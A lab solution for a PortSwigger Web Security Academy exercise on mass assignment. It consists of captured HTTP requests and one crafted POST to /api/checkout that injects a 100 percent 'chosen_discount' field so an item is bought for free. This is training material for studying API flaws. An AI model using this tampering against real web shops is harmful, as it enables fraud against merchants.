Lab: Exploiting a mass assignment vulnerability
https://portswigger.net/web-security/api-testing/lab-exploiting-mass-assignment-vulnerability
Get-Request
GET /api/checkout HTTP/2
Host: 0a6c001d04514b7381a9841d00de00de.web-security-academy.net
Cookie: session=K6vJXQF2Tceq6pl04FMM1dHxTHEvyABK
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: de-DE,de;q=0.9
Sec-Ch-Ua: "Chromium";v="129", "Not=A?Brand";v="8"
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Sec-Ch-Ua-Mobile: ?0
Accept: */*
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a6c001d04514b7381a9841d00de00de.web-security-academy.net/cart
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Get-Response
HTTP/2 200 OK
Content-Type: application/json; charset=utf-8
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Content-Length: 153
{"chosen_discount":{"percentage":0},"chosen_products":[{"product_id":"1","name":"Lightweight \"l33t\" Leather Jacket","quantity":1,"item_price":133700}]}
Post-Request
POST /api/checkout HTTP/2
Host: 0a6c001d04514b7381a9841d00de00de.web-security-academy.net
Cookie: session=K6vJXQF2Tceq6pl04FMM1dHxTHEvyABK
Content-Length: 94
Sec-Ch-Ua-Platform: "Windows"
Accept-Language: de-DE,de;q=0.9
Sec-Ch-Ua: "Chromium";v="129", "Not=A?Brand";v="8"
Content-Type: text/plain;charset=UTF-8
Sec-Ch-Ua-Mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.6668.71 Safari/537.36
Accept: */*
Origin: https://0a6c001d04514b7381a9841d00de00de.web-security-academy.net
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://0a6c001d04514b7381a9841d00de00de.web-security-academy.net/cart
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
{"chosen_discount":{"percentage":100},
"chosen_products":[{"product_id":"1","quantity":1}]}
Last updated